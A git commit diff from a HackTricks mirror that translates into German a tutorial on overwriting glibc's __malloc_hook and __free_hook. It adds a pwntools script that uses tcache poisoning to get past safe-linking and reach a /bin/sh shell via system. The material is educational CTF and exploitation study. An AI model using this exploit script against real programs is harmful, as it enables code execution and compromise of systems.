mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma
This commit is contained in:
parent
0f62a0fdfe
commit
08f05cdbef
@ -1,10 +1,10 @@
|
||||
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
|
||||
# WWW2Exec - __malloc_hook & __free_hook
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
Wie auf der [offiziellen GNU-Seite](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) beschrieben, ist die Variable **`__malloc_hook`** ein Zeiger, der auf die **Adresse einer Funktion zeigt, die aufgerufen wird**, wann immer `malloc()` aufgerufen wird, **die im Datensegment der libc-Bibliothek gespeichert ist**. Daher, wenn diese Adresse mit einem **One Gadget** überschrieben wird und `malloc` aufgerufen wird, wird **der One Gadget aufgerufen**.
|
||||
Wie auf der [offiziellen GNU-Seite](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) beschrieben, ist die Variable **`__malloc_hook`** ein Zeiger, der auf die **Adresse einer Funktion zeigt, die aufgerufen wird**, wann immer `malloc()` aufgerufen wird, **gespeichert im Datensegment der libc-Bibliothek**. Daher, wenn diese Adresse mit einem **One Gadget** überschrieben wird und `malloc` aufgerufen wird, wird **der One Gadget aufgerufen**.
|
||||
|
||||
Um malloc aufzurufen, ist es möglich, darauf zu warten, dass das Programm es aufruft, oder indem man **`printf("%10000$c")`** aufruft, was zu viele Bytes allokiert, sodass `libc` malloc aufruft, um sie im Heap zu allokieren.
|
||||
|
||||
@ -29,7 +29,7 @@ Es ist möglich, die Adresse von `__free_hook` zu finden, wenn die Binärdatei S
|
||||
```bash
|
||||
gef➤ p &__free_hook
|
||||
```
|
||||
[In dem Beitrag](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) finden Sie eine Schritt-für-Schritt-Anleitung, wie Sie die Adresse des free Hooks ohne Symbole lokalisieren können. Zusammenfassend lässt sich sagen, dass in der free-Funktion:
|
||||
[In dem Beitrag](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) finden Sie eine Schritt-für-Schritt-Anleitung, wie Sie die Adresse des freien Hooks ohne Symbole lokalisieren können. Zusammenfassend lässt sich sagen, dass in der Funktion free:
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||||
0xf75dedc0 <free>: push ebx
|
||||
@ -43,9 +43,9 @@ gef➤ p &__free_hook
|
||||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||||
</code></pre>
|
||||
|
||||
An der genannten Breakpoint-Stelle im vorherigen Code wird sich die Adresse des free Hooks in `$eax` befinden.
|
||||
An der genannten Breakpoint-Stelle im vorherigen Code wird sich die Adresse des freien Hooks in `$eax` befinden.
|
||||
|
||||
Jetzt wird ein **fast bin attack** durchgeführt:
|
||||
Jetzt wird ein **Fast-Bin-Angriff** durchgeführt:
|
||||
|
||||
- Zunächst wird entdeckt, dass es möglich ist, mit schnellen **Chunks der Größe 200** im **`__free_hook`**-Bereich zu arbeiten:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
@ -56,15 +56,80 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- Wenn es gelingt, einen schnellen Chunk der Größe 0x200 an dieser Stelle zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
|
||||
- Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die zusammengeführte Funktion wird mit diesem Zeiger zweimal aufgerufen, sodass wir einen Zeiger auf einen freigegebenen Chunk der Größe `0xfc*2 = 0x1f8` im fast bin erhalten.
|
||||
- Dann wird die Edit-Funktion in diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses fast bins so zu ändern, dass sie auf die vorherige **`__free_hook`**-Funktion zeigt.
|
||||
- Anschließend wird ein Chunk der Größe `0x1f8` erstellt, um den vorherigen nutzlosen Chunk aus dem fast bin abzurufen, sodass ein weiterer Chunk der Größe `0x1f8` erstellt wird, um einen fast bin Chunk im **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird.
|
||||
- Wenn es uns gelingt, einen schnellen Chunk der Größe 0x200 an dieser Stelle zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
|
||||
- Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die zusammengeführte Funktion wird mit diesem Zeiger zweimal aufgerufen, sodass wir einen Zeiger auf einen freigegebenen Chunk der Größe `0xfc*2 = 0x1f8` im Fast-Bin erhalten.
|
||||
- Dann wird die Edit-Funktion in diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses Fast-Bins so zu ändern, dass sie auf die vorherige **`__free_hook`**-Funktion zeigt.
|
||||
- Anschließend wird ein Chunk der Größe `0x1f8` erstellt, um den vorherigen nutzlosen Chunk aus dem Fast-Bin abzurufen, sodass ein weiterer Chunk der Größe `0x1f8` erstellt wird, um einen Fast-Bin-Chunk im **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird.
|
||||
- Und schließlich wird ein Chunk, das die Zeichenkette `/bin/sh\x00` enthält, freigegeben, indem die Delete-Funktion aufgerufen wird, wodurch die **`__free_hook`**-Funktion ausgelöst wird, die auf system mit `/bin/sh\x00` als Parameter zeigt.
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## Tcache-Vergiftung & Safe-Linking (glibc 2.32 – 2.33)
|
||||
|
||||
glibc 2.32 führte **Safe-Linking** ein – eine Integritätsprüfung, die die *einzel*-verketteten Listen schützt, die von **tcache** und Fast-Bins verwendet werden. Anstelle eines rohen Vorwärtszeigers (`fd`) speichert ptmalloc ihn jetzt *obfuskiert* mit dem folgenden Makro:
|
||||
```c
|
||||
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||||
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||||
```
|
||||
Folgen der Ausnutzung:
|
||||
|
||||
1. Ein **heap leak** ist zwingend erforderlich – der Angreifer muss den Laufzeitwert von `chunk_addr >> 12` kennen, um einen gültigen obfuskierten Zeiger zu erstellen.
|
||||
2. Nur der *vollständige* 8-Byte-Zeiger kann gefälscht werden; einbyte-partielle Überschreibungen bestehen die Überprüfung nicht.
|
||||
|
||||
Ein minimales tcache-poisoning-Primitiv, das `__free_hook` auf glibc 2.32/2.33 überschreibt, sieht daher wie folgt aus:
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||
p = process("./vuln")
|
||||
|
||||
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||||
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||||
heap_base = heap_leak & ~0xfff
|
||||
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||||
log.success(f"heap @ {hex(heap_base)}")
|
||||
|
||||
# 2. Prepare two same-size chunks and double-free one of them
|
||||
a = malloc(0x48)
|
||||
b = malloc(0x48)
|
||||
free(a)
|
||||
free(b)
|
||||
free(a) # tcache double-free ⇒ poisoning primitive
|
||||
|
||||
# 3. Forge obfuscated fd that points to __free_hook
|
||||
free_hook = libc.sym['__free_hook']
|
||||
poison = free_hook ^ fd_key
|
||||
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||||
|
||||
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||||
malloc(0x48) # returns chunk a
|
||||
c = malloc(0x48) # returns chunk @ __free_hook
|
||||
edit(c, p64(libc.sym['system']))
|
||||
|
||||
# 5. Trigger
|
||||
bin_sh = malloc(0x48)
|
||||
edit(bin_sh, b"/bin/sh\x00")
|
||||
free(bin_sh)
|
||||
```
|
||||
Der obige Auszug wurde aus aktuellen CTF-Herausforderungen wie *UIUCTF 2024 – «Rusty Pointers»* und *openECSC 2023 – «Babyheap G»* angepasst, die beide auf Safe-Linking-Umgehungen basierten, um `__free_hook` zu überschreiben.
|
||||
|
||||
---
|
||||
|
||||
## Was hat sich in glibc ≥ 2.34 geändert?
|
||||
|
||||
Beginnend mit **glibc 2.34 (August 2021)** wurden die Allokations-Hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` und `__free_hook` **aus der öffentlichen API entfernt und werden vom Allokator nicht mehr aufgerufen**. Kompatibilitätssymbole werden weiterhin für Legacy-Binärdateien exportiert, aber das Überschreiben dieser hat keinen Einfluss mehr auf den Kontrollfluss von `malloc()` oder `free()`.
|
||||
|
||||
Praktische Auswirkung: In modernen Distributionen (Ubuntu 22.04+, Fedora 35+, Debian 12 usw.) müssen Sie auf *andere* Hijack-Primitiven (IO-FILE, `__run_exit_handlers`, vtable spraying usw.) umschwenken, da Hook-Überschreibungen stillschweigend fehlschlagen.
|
||||
|
||||
Wenn Sie das alte Verhalten für Debugging-Zwecke benötigen, liefert glibc `libc_malloc_debug.so`, das vorab geladen werden kann, um die Legacy-Hooks wieder zu aktivieren – aber die Bibliothek ist **nicht für die Produktion gedacht und könnte in zukünftigen Versionen verschwinden**.
|
||||
|
||||
---
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
- Safe-Linking – Eliminierung eines 20 Jahre alten malloc() Exploit-Primitivs (Check Point Research, 2020)
|
||||
- glibc 2.34 Versionshinweise – Entfernung der malloc Hooks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user